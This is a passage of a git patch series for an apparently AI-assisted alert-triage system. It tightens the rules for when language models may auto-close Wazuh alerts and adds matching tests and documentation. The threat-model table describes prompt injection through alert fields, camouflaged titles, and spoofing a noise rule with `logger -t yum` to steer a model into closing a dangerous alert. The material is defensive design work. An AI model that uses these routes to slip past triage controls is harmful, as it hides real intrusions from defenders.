"level": level, "description": description, "groups": ["syslog", "dpkg"]} + full_log: str = "2026-11-09 10:00:00 status installed htop:amd64 3.3.0-4", + groups: Optional[List[str]] = None) -> Dict[str, Any]: + rule: Dict[str, Any] = {"id": rule_id, "level": level, "description": description, + "groups": groups if groups is not None else ["syslog", "dpkg"]} if mitre is not None: rule["mitre"] = mitre return {"timestamp": "2026-11-09T10:00:00.000+0000", "id": "1792751768.1", "rule": rule, @@ -49,6 +52,7 @@ def state_alert(event: Dict[str, Any]) -> Dict[str, Any]: """What ``initial_state`` puts in the workflow state: the canonical alert, its raw event, size-capped.""" canonical = json.loads(get_normalizer("wazuh").normalize(event, CTX).model_dump_json()) canonical["raw"] = copy.deepcopy(event) + canonical["normalizer"] = "wazuh" # what the ingestion service records after the Wazuh normalizer return cap_alert(canonical) @@ -160,6 +164,9 @@ def test_the_rule_id_comes_from_the_vendor_event_and_the_wazuh_rule_name_only() forged_name = {**alert, "raw": {**alert["raw"], "rule": {**alert["raw"]["rule"], "id": "100200"}}} assert detection_rule(forged_name) is None # rule_name says 2902, the vendor event says 100200 for broken in ( + {**alert, "normalizer": "canonical"}, # a canonical push that copies a Wazuh document + {**alert, "normalizer": "webhook"}, + {k: v for k, v in alert.items() if k != "normalizer"}, # stored before the format was recorded {**alert, "rule_name": DPKG}, # no Wazuh rule-name prefix: not built by the Wazuh normalizer {**alert, "rule_name": None}, {**alert, "rule_name": "29021: x"}, @@ -255,3 +262,62 @@ def test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_esca for tier in ("off", AUTO): decision = routing.decide(state, T, tier) assert decision.route in ("escalate", "plan_response") and decision.disposition != "benign", (tier, decision) + + +# --------------------------------------------------------------------------- review of #345 (H1): authentication failures + +WIN = ["windows", "windows_security"] +AUTH_FAILURES = [ + # (rule id, description, level, groups, mitre): Wazuh 4.14 stock rules mapped outside credential access. + ("60122", "Logon Failure - Unknown user or bad password", 5, WIN + ["authentication_failed"], + {"id": ["T1531"], "tactic": ["Impact"]}), + ("60130", "Logon Failure - Account locked out", 5, WIN + ["authentication_failed"], + {"id": ["T1531"], "tactic": ["Impact"]}), + ("99919", "Failed logon from malicious IP", 10, ["authentication_failed", "invalid_login"], + {"id": ["T1078"], "tactic": ["Defense Evasion", "Persistence", "Privilege Escalation", "Initial Access"]}), + ("60196", "Possible replay attack", 8, WIN + ["authentication_failures"], + {"id": ["T1550"], "tactic": ["Defense Evasion", "Lateral Movement"]}), + ("5302", "User missed the password to change UID to root.", 9, ["syslog", "su", "authentication_failed"], + {"id": ["T1548.003"], "tactic": ["Privilege Escalation", "Defense Evasion"]}), + # No authentication-failure group: listed by rule id. + ("6250", "Asterisk: Multiple failed logins (user enumeration in process).", 10, ["asterisk", "syslog"], None), + ("44733", "FortiAuth: Authentication failed.", 5, ["fortiauth"], {"id": ["T1078"], "tactic": ["Initial Access"]}), +] + + +@pytest.mark.parametrize(("rule_id", "description", "level", "groups", "mitre"), AUTH_FAILURES) +def test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping( + rule_id: str, description: str, level: int, groups: List[str], mitre: Optional[Dict[str, Any]] +) -> None: + """A password spray of one rule repeating looks like noise to the campaign check, so authentication failures + must be a never-close class on their own: by the vendor rule's groups, a listed rule id, or T1531.""" + event = wazuh_event(rule_id, description, level=level, mitre=mitre, groups=groups, + full_log="An account failed to log on. Account Name: svc-backup Failure Reason: bad password") + state = wazuh_state(event, severity="medium") + assert never_close_class(state["alert"]) == "credential_access" + assert model_close_class(state["alert"]) == "credential_access" + assert model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) == ["never_close_class"] + assert routing.decide(state, T, AUTO).route == "escalate" + # The groups and ids only ever block, so they count whatever format built the alert. + pushed = {**state["alert"], "normalizer": "canonical"} + assert never_close_class(pushed) == "credential_access" + + +def test_review_h1_the_groups_are_matched_exactly_and_t1531_alone_is_enough() -> None: + assert AUTH_FAILURE_GROUPS == {"authentication_failed", "authentication_failures", "invalid_login", "login_denied"} + assert never_close_class({"mitre": {"tactics": ["Impact"], "techniques": ["T1531"]}}) == "credential_access" + ok = state_alert(wazuh_event("60106", "Windows logon success", groups=WIN + ["authentication_success"], + mitre={"id": ["T1078"], "tactic": ["Initial Access"]})) + assert never_close_class(ok) is None + upper = state_alert(wazuh_event("100300", "Custom", groups=["Authentication_Failed "], + mitre={"id": ["T1078"], "tactic": ["Initial Access"]})) + assert never_close_class(upper) == "credential_access" + + +def test_review_h1_without_the_raw_event_only_the_attack_mapping_is_left() -> None: + """Documented: when the state size cap drops the raw event, the groups cannot be read. 60122 still blocks on + T1531; 99919 (T1078) then rests on its ATT&CK mapping alone, like any mapped alert before FIX-2.""" + spray = state_alert(wazuh_event(*AUTH_FAILURES[0][:2], groups=AUTH_FAILURES[0][3], mitre=AUTH_FAILURES[0][4])) + assert never_close_class({k: v for k, v in spray.items() if k != "raw"}) == "credential_access" + bad_ip = state_alert(wazuh_event(*AUTH_FAILURES[2][:2], groups=AUTH_FAILURES[2][3], mitre=AUTH_FAILURES[2][4])) + assert never_close_class({k: v for k, v in bad_ip.items() if k != "raw"}) is None From 5ae8c7c58f9266dd94a03ce2ea2422c9c718fa5c Mon Sep 17 00:00:00 2001 From: Ahmed Ghazouani Date: Mon, 9 Nov 2026 19:23:09 +0100 Subject: [PATCH 3/5] FIX-2 re-check: no campaign-block laundering through siblings, keep the vendor rule through the state cap A same-rule sibling's own campaign block counts as cleared only when its digest shows no threat, a complete related set and no related alert of another or unknown rule (new digest count related_other_rules); a digest without it is not cleared. cap_alert keeps raw.rule (id, level, description, groups, mitre) when it drops an oversized raw event, and a Wazuh-built alert whose rule cannot be read is the never-close class vendor_unknown. Docs state the deliberate trust in a sibling closed benign by an analyst or approved evidence. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01JmdYVXkgpNHoygVJCrUeZc --- changelog.d/FIX-2.md | 14 ++++- docs/invariants.md | 2 + docs/openapi.json | 6 ++ docs/threat-model.md | 2 +- src/lg_front/src/api/schema.gen.ts | 2 + src/lg_sotf/agents/correlation/base.py | 69 +++++++++++++++++----- src/lg_sotf/core/graph.py | 35 +++++++++-- src/lg_sotf/core/state.py | 1 + src/lg_sotf/domain/closure.py | 14 +++-- src/lg_sotf/domain/noise_families.py | 20 +++++-- src/lg_sotf/invariants/registry.py | 2 + tests/unit/agents/test_campaign_split.py | 75 +++++++++++++++++++++++- tests/unit/domain/test_noise_families.py | 49 ++++++++++++---- 13 files changed, 242 insertions(+), 49 deletions(-) diff --git a/changelog.d/FIX-2.md b/changelog.d/FIX-2.md index 2663849d..81de0959 100644 --- a/changelog.d/FIX-2.md +++ b/changelog.d/FIX-2.md @@ -17,7 +17,8 @@ every repeat was either closed as benign or is one the models could close themselves: no steering text, no recent true positive, both model tiers benign within the thresholds, no never-close class. The correlation - digest has two new fields, `related_rule_repeats` and `related_complete`. + digest has three new fields, `related_rule_repeats`, `related_complete` and + `related_other_rules`. A complete related set holds fewer than `agents.correlation.max_correlations` alerts (10 by default), so at most 9 repeats stand behind a close. - Rule ids are known for Wazuh alerts only. For other vendors (Sentinel, @@ -42,6 +43,17 @@ rule-name text: a custom rule that copies a stock description, a forged rule-name prefix or a canonical push of a Wazuh document stays unmapped. An alert whose raw event was dropped by the state size cap stays unmapped too. +- A same-rule related alert that was itself blocked by its own campaign + check counts as a repeat only when its digest shows no threat, a complete + related set and no related alert of another rule (the new digest field + `related_other_rules`), so an attack step that has left the correlation + window cannot clear a later alert through it. A related alert an analyst + or approved evidence closed as benign counts as a repeat whatever its own + model scores: that decision is trusted on purpose. A model threat verdict + on it still blocks. +- The workflow state keeps the vendor rule (`raw.rule`: id, level, + description, groups, ATT&CK) when an oversized raw event is dropped, and a + Wazuh alert whose rule cannot be read never closes on the models' word. - A related alert still blocks a model-led close when its detection rule differs (a possible kill chain, even if it was closed as benign), when a model judged it malicious or suspicious, when it is still waiting for a diff --git a/docs/invariants.md b/docs/invariants.md index 29b7e14f..3b022102 100644 --- a/docs/invariants.md +++ b/docs/invariants.md @@ -90,6 +90,8 @@ A fooled or injected model must not be able to make a dangerous alert disappear. * `tests/unit/agents/test_campaign_split.py::test_a_same_rule_alert_still_counts_against_closing_when` * `tests/unit/agents/test_campaign_split.py::test_an_incomplete_related_set_fails_closed` * `tests/unit/agents/test_campaign_split.py::test_review_m1_a_steering_msi_does_not_vouch_for_the_next` + * `tests/unit/agents/test_campaign_split.py::test_recheck_a_campaign_block_is_not_laundered_through_a_sibling` + * `tests/unit/domain/test_noise_families.py::test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes` * `tests/unit/domain/test_noise_families.py::test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping` * `tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close` * `tests/integration/engine/test_model_closure.py::test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not` diff --git a/docs/openapi.json b/docs/openapi.json index c5e0457d..f4e7412e 100644 --- a/docs/openapi.json +++ b/docs/openapi.json @@ -1153,6 +1153,9 @@ "related_open_reviews": { "type": "integer" }, + "related_other_rules": { + "type": "integer" + }, "related_rule_repeats": { "type": "integer" }, @@ -2100,6 +2103,9 @@ "related_open_reviews": { "type": "integer" }, + "related_other_rules": { + "type": "integer" + }, "related_rule_repeats": { "type": "integer" }, diff --git a/docs/threat-model.md b/docs/threat-model.md index 9b52af8e..19effe0c 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -135,7 +135,7 @@ disclosure, **D**enial of service, **E**levation of privilege. | ID | STRIDE | Threat | Controls | Status | |---|---|---|---|---| | TM-WRK-1 | T | Prompt injection in alert fields changes the verdict | Untrusted-data blocks with escaped `<` and `>` (`src/lg_sotf/llm/prompting.py:365-400`); injection detection voids false-positive signals (`src/lg_sotf/agents/triage/base.py:125-131`); the injection signal blocks corroboration (`src/lg_sotf/agents/analysis/base.py:15-28`) | In place | -| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress, an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Policy v2.1 (FIX-2): an unmapped alert closes only when its vendor detection rule id (Wazuh `raw.rule.id`, on an alert the Wazuh normalizer built: the ingestion service records the format in `normalizer`, never from the event, and the rule name is that normalizer's `: `) is in the reviewed, versioned noise catalogue (`src/lg_sotf/domain/noise_families.py`: package installs and updates, Windows software installs, Defender scan and signature status, a single web 4xx), never on title, description or rule-name text; the catalogue lifts only `unmapped`, every other condition still applies, and each entry records the abuse it could hide (a malicious package, an MSI run as execution, web probing) with a test that a malicious or suspicious model verdict still escalates it. Authentication failures are credential access whatever ATT&CK id the vendor gave them: Wazuh rules in the groups `authentication_failed`, `authentication_failures`, `invalid_login` or `login_denied`, the listed ids 6250 and 44733, and T1531 (Wazuh maps Windows logon failures 60122-60130 there). No campaign means every related alert is the same detection rule repeating (same Wazuh rule id, a threat to no model, no plan awaiting approval, and either closed as benign or a model-close candidate itself: no steering text, no recent true positive, both tiers benign at the thresholds, no never-close class) over a complete related set: a different rule on the same entities, a sibling still waiting for its deep verdict, a hidden blind-audit sample, a query at its limit (`max_correlations`, so at most 9 repeats by default) or a digest without the counts blocks the close. Other vendors have no rule id here yet, so any related alert blocks theirs. Residual: an actor on a host, often without privileges (`logger -t yum`, a per-user MSI install), can choose which catalogued rule fires; only the two model tiers then stand between it and a close, every such close is marked for audit, and its decision reason names the family and catalogue version. An attack made of one non-authentication rule repeating relies on the models: Wazuh's frequency rules are no backstop for a slow attack (60204 needs 8 failures from one IP in 240 s; 31151 is level 10, which maps to medium and is itself closable). When the state size cap drops the raw event, the group and id checks cannot run and an authentication failure rests on its ATT&CK mapping alone. Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | +| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress, an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Policy v2.1 (FIX-2): an unmapped alert closes only when its vendor detection rule id (Wazuh `raw.rule.id`, on an alert the Wazuh normalizer built: the ingestion service records the format in `normalizer`, never from the event, and the rule name is that normalizer's `: `) is in the reviewed, versioned noise catalogue (`src/lg_sotf/domain/noise_families.py`: package installs and updates, Windows software installs, Defender scan and signature status, a single web 4xx), never on title, description or rule-name text; the catalogue lifts only `unmapped`, every other condition still applies, and each entry records the abuse it could hide (a malicious package, an MSI run as execution, web probing) with a test that a malicious or suspicious model verdict still escalates it. Authentication failures are credential access whatever ATT&CK id the vendor gave them: Wazuh rules in the groups `authentication_failed`, `authentication_failures`, `invalid_login` or `login_denied`, the listed ids 6250 and 44733, and T1531 (Wazuh maps Windows logon failures 60122-60130 there). No campaign means every related alert is the same detection rule repeating (same Wazuh rule id, a threat to no model, no plan awaiting approval, and either closed as benign by an analyst, approved evidence or a model-led close, a deliberate trust in that decision whatever the sibling's model scores, or a model-close candidate itself: no steering text, no recent true positive, both tiers benign at the thresholds, no never-close class, and its own campaign block cleared only when its digest shows no threat, a complete set and no related alert of another rule (`related_other_rules`), so a kill-chain step that has left the window is not laundered through it) over a complete related set: a different rule on the same entities, a sibling still waiting for its deep verdict, a hidden blind-audit sample, a query at its limit (`max_correlations`, so at most 9 repeats by default) or a digest without the counts blocks the close. Other vendors have no rule id here yet, so any related alert blocks theirs. Residual: an actor on a host, often without privileges (`logger -t yum`, a per-user MSI install), can choose which catalogued rule fires; only the two model tiers then stand between it and a close, every such close is marked for audit, and its decision reason names the family and catalogue version. An attack made of one non-authentication rule repeating relies on the models: Wazuh's frequency rules are no backstop for a slow attack (60204 needs 8 failures from one IP in 240 s; 31151 is level 10, which maps to medium and is itself closable). The state size cap keeps `raw.rule` (id, level, description, groups, mitre) when it drops an oversized raw event, so inflating an event does not hide its groups; a Wazuh-built alert whose rule cannot be read at all is `vendor_unknown`, a never-close class. Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | | TM-WRK-3 | E | A fooled model triggers containment | Containment on model-only evidence always waits for approval (`src/lg_sotf/services/response/planner.py:328-329`); tenant autonomy, with unknown values read as `disabled` (`src/lg_sotf/services/response/policy.py:215-226`) | In place | | TM-WRK-4 | I | Alert data or secrets sent to the model provider | Secrets redacted before storage and before the model; personal data is **not** redacted | Partial: per-tenant pseudonymisation before the LLM call is planned (SEC7.5b) | | TM-WRK-5 | I | Model endpoint pointed at an internal or metadata address | `llm.base_url` egress check (`src/lg_sotf/llm/endpoint.py:80-100`), enforced at start-up (`src/lg_sotf/settings.py:519-524`) | In place | diff --git a/src/lg_front/src/api/schema.gen.ts b/src/lg_front/src/api/schema.gen.ts index 13aa5026..2f744cfa 100644 --- a/src/lg_front/src/api/schema.gen.ts +++ b/src/lg_front/src/api/schema.gen.ts @@ -2048,6 +2048,7 @@ export interface components { [key: string]: number; }; related_open_reviews?: number; + related_other_rules?: number; related_rule_repeats?: number; related_threats?: number; score?: number; @@ -2298,6 +2299,7 @@ export interface components { [key: string]: number; }; related_open_reviews?: number; + related_other_rules?: number; related_rule_repeats?: number; related_threats?: number; score?: number; diff --git a/src/lg_sotf/agents/correlation/base.py b/src/lg_sotf/agents/correlation/base.py index a0b523c0..8d5be256 100644 --- a/src/lg_sotf/agents/correlation/base.py +++ b/src/lg_sotf/agents/correlation/base.py @@ -30,7 +30,10 @@ response plan awaiting approval, and either closed as benign or one the models could close themselves; see :func:`quiet_rule_repeat`) and records whether the related set is complete (``related_complete``: the query stayed under its limit and no related alert -was hidden for a blind audit). A model-led close needs every related alert +was hidden for a blind audit), and counts the related alerts of another or +unknown rule (``related_other_rules``), which a later alert reads before it +lets this alert's own campaign block pass as repetition. A model-led close +needs every related alert to be such a repeat over a complete set (:mod:`lg_sotf.domain.closure`): a different detection on the same entities is a possible kill chain. The rule id is known for Wazuh alerts only, so for other vendors every related alert @@ -123,6 +126,9 @@ class CorrelationResult: # Fail closed: the defaults (0, False) block a model-led close whenever there is a related alert. related_rule_repeats: int = 0 related_complete: bool = False + # FIX-2 review: related alerts of another or unknown detection rule (or vendor); a later alert reads it from this + # digest before it lets this alert's own campaign block pass as repetition. + related_other_rules: int = 0 campaign_indicators: List[str] = field(default_factory=list) notes: List[str] = field(default_factory=list) @@ -165,9 +171,27 @@ def related_document(other: Any) -> Dict[str, Any]: return {**normalized, "raw": raw if isinstance(raw, Mapping) else {}} -#: What a sibling's own model-close check may still report and leave it a quiet repeat: the tier (this alert's tier -#: decides) and the campaign check (the sibling's own related alerts are this alert's concern, counted here). -SIBLING_EXEMPT_BLOCKERS = frozenset({"tier_off", "campaign_in_progress"}) +#: What a sibling's own model-close check may report and leave it a quiet repeat: the tier (this alert's tier +#: decides). Its campaign check is exempt only when its own digest shows nothing but repeats of its rule +#: (:func:`_sibling_campaign_cleared`), so a block cannot be laundered through a sibling once the alert that caused +#: it has left this alert's window. +SIBLING_EXEMPT_BLOCKERS = frozenset({"tier_off"}) +CAMPAIGN = "campaign_in_progress" + + +def _count(value: Any) -> Optional[int]: + return value if isinstance(value, int) and not isinstance(value, bool) else None + + +def _sibling_campaign_cleared(correlation: Mapping[str, Any]) -> bool: + """Whether a sibling's own campaign block came only from same-rule siblings it could not yet vouch for: its + digest shows no threat, a complete set and no related alert of another or unknown rule. A digest without these + counts (unknown) does not clear it.""" + return ( + _count(correlation.get("related_threats")) == 0 + and correlation.get("related_complete") is True + and _count(correlation.get("related_other_rules")) == 0 + ) def _sibling_state(other: Any) -> Dict[str, Any]: @@ -192,13 +216,23 @@ def quiet_rule_repeat( """Whether a related alert is ``rule`` repeating as noise (FIX-2). The same vendor detection rule, judged a threat by no model, not a - response plan awaiting approval, and either closed as benign (by an - analyst, approved evidence or a model-led close) or a model-led close - candidate itself: its own :func:`closure.model_close_blockers`, apart - from the tier and the campaign check, are empty (no steering text, no - recent true positive, both tiers benign at the thresholds, no never-close - class, a low enough severity). A sibling still waiting for a model, or - for its deep verdict, is not quiet: anything unknown blocks. + response plan awaiting approval, and either: + + * closed as benign (by an analyst, approved evidence or a model-led + close). This trusts the analyst's or the evidence's decision on purpose, + whatever the sibling's own model scores; a model threat verdict on it + still blocks (checked first); or + * a model-led close candidate itself: its own + :func:`closure.model_close_blockers`, apart from the tier, are empty + (no steering text, no recent true positive, both tiers benign at the + thresholds, no never-close class, a low enough severity). Its own + campaign block counts as cleared only when its stored digest shows no + threat, a complete related set and no related alert of another or + unknown rule (``related_other_rules`` 0): the block of a kill-chain + step that has since left this alert's window is not laundered. + + A sibling still waiting for a model, or for its deep verdict, is not + quiet: anything unknown blocks. """ if rule is None or judged_threat or other.status == APPROVAL_STATUS: return False @@ -206,11 +240,13 @@ def quiet_rule_repeat( return False if other.status == "closed" and other.disposition == "benign": return True - blockers = closure.model_close_blockers( - _sibling_state(other), tier=closure.MODEL_CLOSE_TIER, max_likelihood=max_likelihood, - min_certainty=min_certainty, - ) - return not set(blockers) - SIBLING_EXEMPT_BLOCKERS + sibling = _sibling_state(other) + blockers = set(closure.model_close_blockers( + sibling, tier=closure.MODEL_CLOSE_TIER, max_likelihood=max_likelihood, min_certainty=min_certainty, + )) - SIBLING_EXEMPT_BLOCKERS + if CAMPAIGN in blockers and _sibling_campaign_cleared(sibling["correlation"]): + blockers.discard(CAMPAIGN) + return not blockers def tally_related( @@ -231,6 +267,7 @@ def tally_related( ) result.related_threats += int(judged) result.related_open_reviews += int(other.status in OPEN_REVIEW_STATUSES) + result.related_other_rules += int(rule is None or detection_rule(related_document(other)) != rule) result.related_rule_repeats += int(quiet_rule_repeat( rule, other, judged_threat=judged, max_likelihood=t.model_close_max_likelihood, min_certainty=t.model_close_min_certainty, diff --git a/src/lg_sotf/core/graph.py b/src/lg_sotf/core/graph.py index bb9f61d3..1265e61f 100644 --- a/src/lg_sotf/core/graph.py +++ b/src/lg_sotf/core/graph.py @@ -163,12 +163,34 @@ def _shrink(value: Any, items: int, chars: int, keys: int, depth: int) -> Any: return value +#: The vendor rule fields of ``raw.rule`` kept when the raw event is too large for the state (FIX-2 review): the +#: never-close checks read the Wazuh rule id and groups from there. +RAW_RULE_KEYS = ("id", "level", "description", "groups", "mitre") +RAW_OMITTED = "raw event too large for workflow state" + + +def _raw_rule_subset(raw: Any) -> Optional[Dict[str, Any]]: + rule = raw.get("rule") if isinstance(raw, Mapping) else None + if not isinstance(rule, Mapping): + return None + subset = {k: _shrink(rule[k], 20, 200, 10, 3) for k in RAW_RULE_KEYS if k in rule} + return subset or None + + +def _omitted_raw(rule: Optional[Dict[str, Any]]) -> Dict[str, Any]: + return {"_omitted": RAW_OMITTED, "rule": rule} if rule else {"_omitted": RAW_OMITTED} + + def cap_alert(canonical: Mapping[str, Any]) -> Dict[str, Any]: """Size-cap the canonical alert for graph state: per-field, per-list and total limits. - ``raw`` is kept only while it fits :data:`MAX_RAW_JSON_CHARS`. The whole - document is bounded by :data:`MAX_ALERT_JSON_CHARS`: first the largest - unprotected keys are dropped, then ``entities`` is shrunk step by step + ``raw`` is kept only while it fits :data:`MAX_RAW_JSON_CHARS`; otherwise it + is replaced by a marker that keeps the small vendor rule subset + (``raw.rule``: :data:`RAW_RULE_KEYS`, shortened), which the never-close + checks read (an attacker who inflates an event must not hide the rule's + groups). The whole document is bounded by :data:`MAX_ALERT_JSON_CHARS`: + first the largest unprotected keys are dropped (``raw`` is first reduced + to that marker), then ``entities`` is shrunk step by step (fewer items, shorter strings) so indicators and response targets survive, and only as a last resort are whole entity kinds dropped. Every loop removes something, so this always terminates. @@ -177,13 +199,18 @@ def cap_alert(canonical: Mapping[str, Any]) -> Dict[str, Any]: capped: Dict[str, Any] = _cap(dict(canonical)) capped.pop("_omitted_keys", None) omitted: List[str] = [] + rule = _raw_rule_subset(capped.get("raw")) + reduced = False if "raw" in capped and _json_len(capped["raw"]) > MAX_RAW_JSON_CHARS: - capped["raw"] = {"_omitted": "raw event too large for workflow state"} + capped["raw"], reduced = _omitted_raw(rule), True while _json_len(capped) > limit: candidates = [k for k in capped if k not in PROTECTED_ALERT_KEYS] if not candidates: break largest = max(candidates, key=lambda k: _json_len(capped[k])) + if largest == "raw" and rule is not None and not reduced: + capped["raw"], reduced = _omitted_raw(rule), True + continue capped.pop(largest) omitted.append(largest) entities = capped.get("entities") diff --git a/src/lg_sotf/core/state.py b/src/lg_sotf/core/state.py index f281c78c..25029732 100644 --- a/src/lg_sotf/core/state.py +++ b/src/lg_sotf/core/state.py @@ -112,6 +112,7 @@ class CorrelationDigest(TypedDict, total=False): related_open_reviews: int related_rule_repeats: int related_complete: bool + related_other_rules: int campaign_indicators: List[str] diff --git a/src/lg_sotf/domain/closure.py b/src/lg_sotf/domain/closure.py index 50a70cdd..7dfebc2d 100644 --- a/src/lg_sotf/domain/closure.py +++ b/src/lg_sotf/domain/closure.py @@ -30,11 +30,15 @@ id as this alert (known for Wazuh only: for other vendors every related alert blocks), judged a threat by no model, not a response plan awaiting approval, and either closed as benign (by an analyst, approved evidence or - a model-led close) or itself a model-led close candidate: its own - conditions here, apart from the tier and this one, all hold (no steering - text, no recent true positive, both model tiers benign at the thresholds, - no never-close class). A sibling still waiting for its deep verdict - blocks. A related alert of a different rule on the same entities is a + a model-led close: a deliberate trust in that decision, whatever the + sibling's own model scores) or itself a model-led close candidate: its + own conditions here, apart from the tier, all hold (no steering text, no + recent true positive, both model tiers benign at the thresholds, no + never-close class), and its own campaign block counts as cleared only + when its digest shows no threat, a complete set and no related alert of + another or unknown rule (``related_other_rules``), so a kill-chain + step that has left this alert's window cannot be laundered through it. + A sibling still waiting for its deep verdict blocks. A related alert of a different rule on the same entities is a possible kill chain and blocks, whatever its status. A burst of one rule that passes these tests is repetition, not a campaign. The set must be complete (``related_complete``): when the correlation query hit its diff --git a/src/lg_sotf/domain/noise_families.py b/src/lg_sotf/domain/noise_families.py index 4ef56476..86b8209a 100644 --- a/src/lg_sotf/domain/noise_families.py +++ b/src/lg_sotf/domain/noise_families.py @@ -46,7 +46,8 @@ (``authentication_failed``, ``authentication_failures``, ``invalid_login``, ``login_denied``) and a short list of rule ids without those groups make it credential access. These checks only ever block a close, so they read -the raw event whatever format built the alert. +the raw event whatever format built the alert; a Wazuh-built alert whose +rule cannot be read at all is ``vendor_unknown`` and never closes. Changing the catalogue is a reviewed change to the decision policy: bump :data:`CATALOGUE_VERSION`, justify the entry from the vendor ruleset's @@ -64,6 +65,7 @@ "AUTH_FAILURE_GROUPS", "CATALOGUE", "NEVER_CLOSE_RULE_IDS", + "VENDOR_UNKNOWN", "CATALOGUE_VERSION", "WAZUH", "DetectionRule", @@ -186,6 +188,8 @@ class NoiseFamily: "44733": "credential_access", # FortiAuthenticator: authentication failed } MAX_RULE_GROUPS = 50 +#: The class of a Wazuh-built alert whose vendor rule cannot be read: its groups are unknown, so it never closes. +VENDOR_UNKNOWN = "vendor_unknown" def _raw_rule(alert: Mapping[str, Any]) -> Optional[Mapping[str, Any]]: @@ -234,13 +238,17 @@ def vendor_never_close_class(alert: Any) -> Optional[str]: ``credential_access`` for a Wazuh rule in an authentication-failure group (:data:`AUTH_FAILURE_GROUPS`) or in :data:`NEVER_CLOSE_RULE_IDS`. These checks only block, so they read the raw event whatever format built the - alert. When the state size cap dropped the raw event they cannot run and - the alert falls back to its ATT&CK mapping alone (an unmapped one stays - ``unmapped``, which blocks too). + alert. The state size cap always keeps ``raw.rule`` + (:func:`lg_sotf.core.graph.cap_alert`); a Wazuh-built alert whose rule + still cannot be read is :data:`VENDOR_UNKNOWN`, a never-close class. """ - rule = _raw_rule(alert) if isinstance(alert, Mapping) else None - if rule is None: + if not isinstance(alert, Mapping): return None + rule = _raw_rule(alert) + if rule is None: + # A Wazuh alert whose rule cannot be read (the raw event is gone): its groups are unknown, so it may be an + # authentication failure mapped elsewhere. Fail closed; this also blocks the catalogue lift. + return VENDOR_UNKNOWN if alert.get("normalizer") == WAZUH else None groups = rule.get("groups") if isinstance(groups, list): names = {g.strip().lower() for g in groups[:MAX_RULE_GROUPS] if isinstance(g, str)} diff --git a/src/lg_sotf/invariants/registry.py b/src/lg_sotf/invariants/registry.py index d4f2924d..21340ae0 100644 --- a/src/lg_sotf/invariants/registry.py +++ b/src/lg_sotf/invariants/registry.py @@ -151,6 +151,8 @@ class Invariant: "tests/unit/agents/test_campaign_split.py::test_a_same_rule_alert_still_counts_against_closing_when", "tests/unit/agents/test_campaign_split.py::test_an_incomplete_related_set_fails_closed", "tests/unit/agents/test_campaign_split.py::test_review_m1_a_steering_msi_does_not_vouch_for_the_next", + "tests/unit/agents/test_campaign_split.py::test_recheck_a_campaign_block_is_not_laundered_through_a_sibling", + "tests/unit/domain/test_noise_families.py::test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes", "tests/unit/domain/test_noise_families.py::" "test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping", "tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close", diff --git a/tests/unit/agents/test_campaign_split.py b/tests/unit/agents/test_campaign_split.py index b169e8f0..194158b3 100644 --- a/tests/unit/agents/test_campaign_split.py +++ b/tests/unit/agents/test_campaign_split.py @@ -29,8 +29,11 @@ "rule_fp": [], "rule_tp": []} BENIGN_ANALYSIS: Dict[str, Any] = {"verdict": "benign", "certainty": 90, "threat_score": 8, "llm_used": True, "rule_evidence": [], "rule_corroborated": False} -#: What a sibling the models could close themselves has stored: both tiers benign within the thresholds. -BENIGN_SUMMARY: Dict[str, Any] = {"triage": BENIGN_TRIAGE, "analysis": BENIGN_ANALYSIS} +#: A sibling's own correlation digest when it had no related alert. +ALONE: Dict[str, Any] = 